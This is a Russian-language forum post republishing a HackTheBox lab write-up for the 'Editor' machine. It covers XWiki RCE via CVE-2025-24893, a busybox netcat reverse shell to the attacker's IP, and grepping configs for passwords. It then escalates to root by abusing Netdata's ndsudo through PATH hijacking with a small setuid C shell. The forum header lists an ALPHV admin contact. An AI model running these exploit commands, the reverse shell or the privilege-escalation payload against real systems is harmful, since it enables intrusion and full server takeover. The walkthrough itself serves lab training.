• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Эксплуатируем уязвимость в Netdata для повышения привилегий на сервере

stihl

bot
Moderator
Регистрация
09.02.2012
Сообщения
1,517
Розыгрыши
0
Реакции
888
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
В этот раз проэксплуатируем RCE в XWiki. Получив учетные данные системного пользователя, используем уязвимость типа RCE в Netdata и повысим привилегии до root.
Наша цель — получение прав суперпользователя на машине Editor с учебной площадки Для просмотра ссылки Войди или Зарегистрируйся. Уровень задания — легкий.

warning​

Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.

Разведка​


Сканирование портов​

Добавляем IP-адрес машины в файл /etc/hosts:

10.10.11.80 editor.htb
И запускаем сканирование портов.

Справка: сканирование портов​

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Для просмотра ссылки Войди или Зарегистрируйся
Сканер нашел три открытых порта:

  • 22 — служба OpenSSH 8.9p1;
  • 80 — веб‑сервер Nginx 1.18.0;
  • 8080 — веб‑сервер Jetty 10.0.20.
Нам доступны два сайта: на 80‑м порте — какой‑то редактор кода, а на 8080‑м развернут движок XWiki 15.10.8.

Для просмотра ссылки Войди или ЗарегистрируйсяДля просмотра ссылки Войди или Зарегистрируйся

Точка входа​

XWiki — опенсорсная платформа для создания вики‑сайтов, баз знаний, объектных хранилищ и приложений. Она помогает организовывать совместную работу, хранить документацию, управлять структурированными данными и собирать настраиваемые приложения прямо внутри платформы. Поддерживает расширения через плагины, контроль версий, настройку прав доступа и интеграцию с внешними сервисами.

Первым делом проверяем, есть ли для найденной CMS готовые эксплоиты. Обычно достаточно поиска в Google.

Для просмотра ссылки Войди или Зарегистрируйся
Так мы узнаём, что в XWiki 15.10.8 есть уязвимость Для просмотра ссылки Войди или Зарегистрируйся, которая позволяет получить удаленное выполнение кода на сервере. Она появляется из‑за того, что макрос SolrSearch некорректно обрабатывает пользовательский ввод при формировании RSS-фида, что дает возможность внедрить и выполнить код на Groovy.

Проверим, не запатчен ли сервис на сервере. Для этого запустим веб‑сервер на основе Python на своем хосте:

python3 -m http.server 8000
А затем с помощью Для просмотра ссылки Войди или Зарегистрируйся выполним запрос на свой веб‑сервер.

python3 CVE-2025-24893.py -t Для просмотра ссылки Войди или Зарегистрируйся -c 'curl Для просмотра ссылки Войди или Зарегистрируйся'
Для просмотра ссылки Войди или ЗарегистрируйсяДля просмотра ссылки Войди или Зарегистрируйся
В логах веб‑сервера видим свой запрос — значит, уязвимость на месте. Запускаем листенер (pwncat-cs -lp 4321) и перебираем несколько реверс‑шеллов, чтобы получить сессию. Например, команда busybox nc 10.10.14.163 4321 -e /bin/bash успешно поднимет бэкконнект.

python3 CVE-2025-24893.py -t Для просмотра ссылки Войди или Зарегистрируйся -c 'busybox nc 10.10.14.163 4321 -e /bin/bash'
Для просмотра ссылки Войди или ЗарегистрируйсяДля просмотра ссылки Войди или Зарегистрируйся

Продвижение​

Теперь нужно собрать информацию для повышения привилегий в системе. Я, как обычно, буду использовать для этого скрипты PEASS.

Справка: скрипты PEASS​

Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки Войди или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Для начала нам нужно загрузить на сервер версию скрипта для Linux.

Pwncat умеет загружать и скачивать файлы. Чтобы выйти в основное меню утилиты, жмем Ctrl-D, затем командой upload отправляем скрипт linpeas на сервер и через Ctrl-D возвращаемся обратно в шелл‑сессию.

Для просмотра ссылки Войди или Зарегистрируйся
Теперь дадим скрипту право на выполнение, запустим сканирование и изучим результаты.

На сервере есть системный каталог XWiki — /var/lib/xwiki.

Для просмотра ссылки Войди или Зарегистрируйся
На сервере две учетные записи с доступом к консоли.

Для просмотра ссылки Войди или Зарегистрируйся
На хосте по адресу 127.0.0.1 открыто много нестандартных портов, включая 19999 и 20000.

Для просмотра ссылки Войди или Зарегистрируйся
На файлы в каталоге netdata выставлен S-бит.

Для просмотра ссылки Войди или Зарегистрируйся
XWiki — сложный фреймворк, поэтому поищем учетные данные в конфигах. Они находятся в каталогах /usr/lib/xwiki/ и /etc/xwiki.

grep -iR 'pass' /usr/lib/xwiki/
Для просмотра ссылки Войди или Зарегистрируйся
Так находим hibernate.cfg.xml.ucf-dist — это шаблон конфигурации Hibernate, необходимый для подключения к базе данных. Но учетные данные нигде не сработали.

На сервере есть каталог /etc/xwiki, и в нем должен лежать свой файл hibernate.cfg.xml. Найдем нужную подстроку так же, как в прошлый раз.

grep -iR 'pass' /etc/xwiki/
Для просмотра ссылки Войди или Зарегистрируйся
Так получаем еще один пароль, авторизуемся как пользователь oliver и забираем первый флаг.

Для просмотра ссылки Войди или Зарегистрируйся

Локальное повышение привилегий​

Как показала команда id, пользователь состоит в группе netdata. Попробуем найти для этого сервиса какие‑нибудь уязвимости.

Для просмотра ссылки Войди или Зарегистрируйся
Среди найденных страниц часто упоминается Для просмотра ссылки Войди или Зарегистрируйся. Это уязвимость в утилите ndsudo v1.45.0, которая поставляется вместе с Netdata Agent. Она связана с некорректным поиском дополнительных файлов, таких как nvme. Атакующий может создать свой бинарный файл с именем nvme и добавить каталог с этим файлом в переменную $PATH. В результате поддельный файл запустится в контексте ndsudo, что приведет к повышению привилегий.

Проверить версию утилиты можно через веб‑панель, но доступна она только с локального хоста, так что нужно прокинуть порт 19999 по SSH.

ssh oliver@10.10.11.80 -L 19999:127.0.0.1:19999
Таким образом, весь трафик, который мы отправим на локальный порт 19999, будет туннелирован на порт 19999 указанного хоста (в данном случае 127.0.0.1) через SSH-хост. Теперь откроем сайт в браузере.

Для просмотра ссылки Войди или Зарегистрируйся
На сайте висит предупреждение, что используется старая версия и нужно обновиться до 1.46.0. А значит, в текущей версии есть уязвимость Для просмотра ссылки Войди или Зарегистрируйся.

Первым делом нам нужно собрать свой файл nvme — например, такой, который запустит командную оболочку в привилегированном контексте.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
setuid(0);
setgid(0);
execl("/bin/bash", "bash", NULL);
return 0;
}
Теперь подготовим каталог /tmp/r и положим в него файл.

mkdir /tmp/r
cd /tmp/r
chmod +x nvme
А теперь добавим текущий каталог в переменную $PATH и запустим ndsudo. Это моментально даст нам командную оболочку bash в контексте пользователя root.

export PATH=/tmp/r:$PATH
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
Для просмотра ссылки Войди или Зарегистрируйся
Машина захвачена!
 
Activity
So far there's no one here
Сверху Снизу